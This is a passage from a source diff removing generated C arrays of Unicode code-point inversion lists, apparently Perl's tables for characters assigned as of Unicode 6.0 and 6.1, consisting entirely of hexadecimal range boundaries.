0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5A, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD60, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10D0, - 0x10FD, - 0x1100, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1400, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BAB, - 0x1BAE, - 0x1BBA, - 0x1BC0, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1CD0, - 0x1CF3, - 0x1D00, - 0x1DE7, - 0x1DFC, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20BA, - 0x20D0, - 0x20F1, - 0x2100, - 0x218A, - 0x2190, - 0x23F4, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2700, - 0x2701, - 0x27CB, - 0x27CC, - 0x27CD, - 0x27CE, - 0x2B4D, - 0x2B50, - 0x2B5A, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF2, - 0x2CF9, - 0x2D26, - 0x2D30, - 0x2D66, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E32, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FCC, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA674, - 0xA67C, - 0xA698, - 0xA6A0, - 0xA6F8, - 0xA700, - 0xA78F, - 0xA790, - 0xA792, - 0xA7A0, - 0xA7AA, - 0xA7FA, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FC, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAE0, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA2E, - 0xFA30, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE27, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x10860, - 0x10900, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10C00, - 0x10C49, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x11080, - 0x110C2, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x13000, - 0x1342F, - 0x16800, - 0x16A39, - 0x1B000, - 0x1B002, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0BF, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0E0, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F19B, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23B, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F321, - 0x1F330, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F380, - 0x1F394, - 0x1F3A0, - 0x1F3C5, - 0x1F3C6, - 0x1F3CB, - 0x1F3E0, - 0x1F3F1, - 0x1F400, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4F8, - 0x1F4F9, - 0x1F4FD, - 0x1F500, - 0x1F53E, - 0x1F550, - 0x1F568, - 0x1F5FB, - 0x1F600, - 0x1F601, - 0x1F611, - 0x1F612, - 0x1F615, - 0x1F616, - 0x1F617, - 0x1F618, - 0x1F619, - 0x1F61A, - 0x1F61B, - 0x1F61C, - 0x1F61F, - 0x1F620, - 0x1F626, - 0x1F628, - 0x1F62C, - 0x1F62D, - 0x1F62E, - 0x1F630, - 0x1F634, - 0x1F635, - 0x1F641, - 0x1F645, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F700, - 0x1F774, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__6_DOT_1_invlist[] = { /* for all charsets */ - 1098, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x528, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58F, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x605, - 0x606, - 0x61C, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x8A0, - 0x8A1, - 0x8A2, - 0x8AD, - 0x8E4, - 0x8FF, - 0x900, - 0x978, - 0x979, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5A, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD60, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1400, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CF7, - 0x1D00, - 0x1DE7, - 0x1DFC, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20BA, - 0x20D0, - 0x20F1, - 0x2100, - 0x218A, - 0x2190, - 0x23F4, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2700, - 0x2701, - 0x2B4D, - 0x2B50, - 0x2B5A, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E3C, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FCD, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA698, - 0xA69F, - 0xA6F8, - 0xA700, - 0xA78F, - 0xA790, - 0xA794, - 0xA7A0, - 0xA7AB, - 0xA7F8, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FC, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE27, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x10860, - 0x10900, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10C00, - 0x10C49, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x11080, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11180, - 0x111C9, - 0x111D0, - 0x111DA, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x13000, - 0x1342F, - 0x16800, - 0x16A39, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x1B000, - 0x1B002, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0BF, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0E0, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F19B, - 0x1F1E6, - 0x1F203, - 0x1F210, - 